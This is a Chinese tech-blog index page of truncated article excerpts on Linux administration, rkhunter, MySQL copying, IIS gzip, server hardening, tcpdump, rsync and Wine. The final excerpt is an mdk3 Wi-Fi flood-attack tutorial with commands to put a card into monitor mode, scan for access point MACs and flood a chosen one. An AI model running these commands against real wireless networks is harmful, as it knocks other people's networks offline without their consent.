Linux杀死进程方法大全

杀死进程最安全的方法是单纯使用kill命令，不加修饰符，不带标志。首先使用ps -ef命令确定要杀死进程的PID，然后输入以下命令：# kill -pid注释：标准的kill命令通常都能达到目的。终止有问题的进程，并把进程的资源释放给系统。然而，如果进程启动了子进程，只杀死父进程，子进程仍在运行，因此仍消耗资源。为了防止这些所谓的“僵尸进程”，应确保在杀死父进程之前，先杀死其所有的子进程。确定要杀死进程的PID或PPID# ps -ef | grep httpd以优雅的方式结束进程# kill -l PID-l选项告诉kill命令用好像启动进程的用户已注销的方式结束进程。当使用该选项时，kil...

阅读全文>>

rkhunter的下载安装与使用

下载： wget http://sourceforge.net/projects/rkhunter/files/latest/download 中文名叫”Rootkit猎手”, 可以发现大约58个已知的rootkits和一些嗅探器和后门程序. 它通过执行一系列的测试脚本来确认你的机器是否已经感染rootkits. 比如检查rootkits 使用的基本文件, 可执行二进制文件的错误文件权限, 检测内核模块等等. Rootkit Hunter由Michael Boelen开发, 是开源(GPL)软件. 解压, 然后以root用户身份运行installer.sh脚本. sh installer.sh...

阅读全文>>

MySQL同主机不同数据库的复制命令

MySQL同主机不同数据库的复制命令：注意运行在Terminal中，不运行在MySQL命令行中。mysqldump -uroot -ppassword --quick db1 | zip > db1.zip 通过以上命令，将db1数据库导成db1.zip压缩文件。gunzip < db1.zip | mysql -uroot -ppassword db2 然后通过以上命令，将db1导入db2数据库。

阅读全文>>

IIS启用Gzip的方法与优缺点分析

现代的浏览器IE6和Firefox都支持客户端Gzip，也就是说，在服务器上的网页，传输之前，先使用Gzip压缩再传输给客户端，客户端接收之后由浏览器解压显示，这样虽然稍微占用了一些服务器和客户端的CPU，但是换来的是更高的带宽利用率。对于纯文本来讲，压缩率是相当可观的。如果每个用户节约50%的带宽，那么你租用来的那点带宽就可以服务多一倍的客户了。 IIS6已经内建了Gzip压缩的支持，可惜，没有设置更好的管理界面。所以要打开这个选项，还要费些功夫。 首先，如果你需要压缩静态文件(HTML)，需要在硬盘上建一个目录，并给它“IUSR_机器名”这个用户的写权限。如果压缩动态文件(PHP，asp，...

阅读全文>>

如何预防被黑？防黑的技巧有哪些？

服务器防黑技巧 在频频恶意攻击用户、系统漏洞层出不穷的今天，作为网络治理员、系统治理员虽然在服务器的安全上都下了不少功夫，诸如及时打上系统安全补丁、进行一些常规的安全配置，但有时仍不安全。因此必须恶意用户入侵之前，通过一些系列安全设置，来将入侵者们挡在“安全门”之外，下面就将最简单、最有效的防(Overflow)溢出、本地提供权限攻击类的解决办法给大家分享。 一、如何防止溢出类攻击 1、尽最大的可能性将系统的漏洞补丁都打完，最好是比如Microsoft Windows Server系列的系统可以将自动更新服务打开，然后让服务器在您指定的某个时间段内自动连接到Microsoft Update网站...

阅读全文>>

Tcpdump的详细用法

1. TCPDump介绍 TcpDump可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤，并提供and、or、not等逻辑语句来帮助你去掉无用的信息。tcpdump就是一种免费的网络分析工具，尤其其提供了源代码，公开了接口，因此具备很强的可扩展性，对于网络维护和入侵者都是非常有用的工具。tcpdump存在于基本的FreeBSD系统中，由于它需要将网络界面设置为混杂模式，普通用户不能正常执行，但具备root权限的用户可以直接执行它来获取网络上的信息。因此系统中存在网络分析工具主要不是对本机安全的威胁，而是对网络上的其他计算机的安全存在威胁。 我...

阅读全文>>

linux下常用的故障排查命令行

1.查看TCP连接状态 netstat -nat |awk '{print $6}'|sort|uniq -c|sort -rn netstat -n | awk '/^tcp/ {++S[$NF]};END {for(a in S) print a, S[a]}' netstat -n | awk '/^tcp/ {++state[$NF]}; END {for(key in state) print key,"\t",state [key]}' netstat -n | awk '/^tcp/ {++arr[$NF]};END {for(k in arr) print k,"\t",arr...

阅读全文>>

CentOS 5.4 rsync+inotify配置触发式(实时)文件远程同步

主机：Linux-Master:10.10.50.217(源主机)、Linux-Slave:10.10.50.151=======================================================1、介绍Inotify 是文件系统事件监控机制，作为 dnotify 的有效替代。dnotify 是较早内核支持的文件监控机制。Inotify 是一种强大的、细粒度的、异步的机制，它满足各种各样的文件监控需要，不仅限于安全和性能。inotify 可以监视的文件系统事件包括：IN_ACCESS，即文件被访问IN_MODIFY，文件被 writeIN_ATTRIB，文件属性被...

阅读全文>>

Wine完全使用指南——从基本到高级

Wine完全参考 为了回应最近网友的一些普遍问题，特此作以下说明：1、如果发现wine的注册表没有相应的键值，要自己创建。有时候用命令不行的话，只能手动一个个添加。2、wine还是一个不成熟的软件，经常出现bug，一切使用的问题和风险都只能自己承担。3、wine并不完善，不是所有程序都能用wine解决，有些甚至根本无法解决（反作弊，凡外挂，虚拟光驱等）。 一直苦于没有一篇像样的使用指南，原来外国有朋友跟我有同感，既然他捷足先登了，那我只好翻译了。原文作者说会保持更新，这篇文章是很新的，介绍了很多实用的Wine设置方法，非常全面，无论新手还是老鸟都值得一读。原文：http://sudan.ubu...

阅读全文>>

mdk3洪水攻击教程详细图解

mdk3洪水攻击教程图解。1: 开始菜单—终端模拟器2: （运行mdk3）sudo mdk33: （检测网卡）sudo ifconfig -a4: （模拟端口）sodu airmon-ng start wlan0（网卡0就选0，1就选1)5: （扫描MAC）sudo airodump-ng mon06：扫描完后，CTRL+C停止7：(开始攻击 )   sodu mdk3 mon0 a -a MAC(PIN死的MAC)8:攻击完成后，CTRL+C停止 ，进行下一个。总结：运行软件 : sudo mdk3检测网卡：sudo ifconfig -a模拟端口：sudo airmon...

阅读全文>>